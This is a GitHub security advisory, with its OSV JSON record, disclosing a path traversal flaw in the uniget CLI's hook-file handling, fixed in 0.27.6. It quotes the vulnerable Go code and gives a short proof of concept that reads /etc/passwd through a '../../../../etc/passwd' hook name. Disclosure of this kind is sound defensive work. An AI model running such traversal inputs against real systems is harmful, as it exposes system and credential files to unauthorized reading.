GHSA-M6JG-WR9M-CG2F

Vulnerability from github – Published: 2026-08-17 17:46 – Updated: 2026-08-17 17:46
VLAI
Summary
uniget CLI has Path Traversal in Hook Files - Directory Escape Vulnerability
Details

Summary

Path Traversal vulnerability in hook filename handling allows attackers to access and manipulate arbitrary files outside the hooks directory via directory escape sequences like passwd.

Details File: hooks.go Lines 135-160

hookFileName := args[0]  // User input not validated
hookFile = preInstallHooksDir + "/" + hookFileName  // Direct concatenation

Hook filenames are concatenated directly without sanitizing ../ sequences, allowing directory traversal.

PoC

Step 1: Set cat as editor

export EDITOR="cat"

Step 2: Read /etc/passwd via path traversal

./uniget hooks edit --type=pre-install "../../../../etc/passwd"

Step 3: Output shows file contents

root:x:0:0:root:/root:/bin/bash
daemon:x:2:2:daemon:/sbin:/sbin/nologin
[...]

image

Severity
6.9 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N
Show details on source website
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{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "gitlab.com/uniget-org/cli"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.27.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55062"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-23",
      "CWE-36",
      "CWE-73"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-17T17:46:33Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\nPath Traversal vulnerability in hook filename handling allows attackers to access and manipulate arbitrary files outside the hooks directory via directory escape sequences like [passwd](vscode-file://vscode-app/app/extra/vscode/resources/app/out/vs/code/electron-browser/workbench/workbench.html).\n\n**Details**\nFile: [hooks.go](vscode-file://vscode-app/app/extra/vscode/resources/app/out/vs/code/electron-browser/workbench/workbench.html) `Lines 135-160`\n```\nhookFileName := args[0]  // User input not validated\nhookFile = preInstallHooksDir + \"/\" + hookFileName  // Direct concatenation\n```\n\nHook filenames are concatenated directly without sanitizing ../ sequences, allowing directory traversal.\n\n\n\n### PoC\n**Step 1:** Set cat as editor\n```\nexport EDITOR=\"cat\"\n```\n**Step 2:** Read /etc/passwd via path traversal\n\n```\n./uniget hooks edit --type=pre-install \"../../../../etc/passwd\"\n```\n\n**Step 3:** Output shows file contents\n```\nroot:x:0:0:root:/root:/bin/bash\ndaemon:x:2:2:daemon:/sbin:/sbin/nologin\n[...]\n```\n\n\u003cimg width=\"1014\" height=\"178\" alt=\"image\" src=\"https://github.com/user-attachments/assets/0db0fe7e-533b-4d8e-a346-81886ce866ab\" /\u003e",
  "id": "GHSA-m6jg-wr9m-cg2f",
  "modified": "2026-08-17T17:46:33Z",
  "published": "2026-08-17T17:46:33Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/uniget-org/cli/security/advisories/GHSA-m6jg-wr9m-cg2f"
    },
    {
      "type": "WEB",
      "url": "https://github.com/uniget-org/cli/commit/7b4f18a9f00f0955f830c7ccf266ed0de5f9fd91"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/uniget-org/cli"
    },
    {
      "type": "WEB",
      "url": "https://github.com/uniget-org/cli/releases/tag/v0.27.6"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "uniget CLI has Path Traversal in Hook Files - Directory Escape Vulnerability"
}



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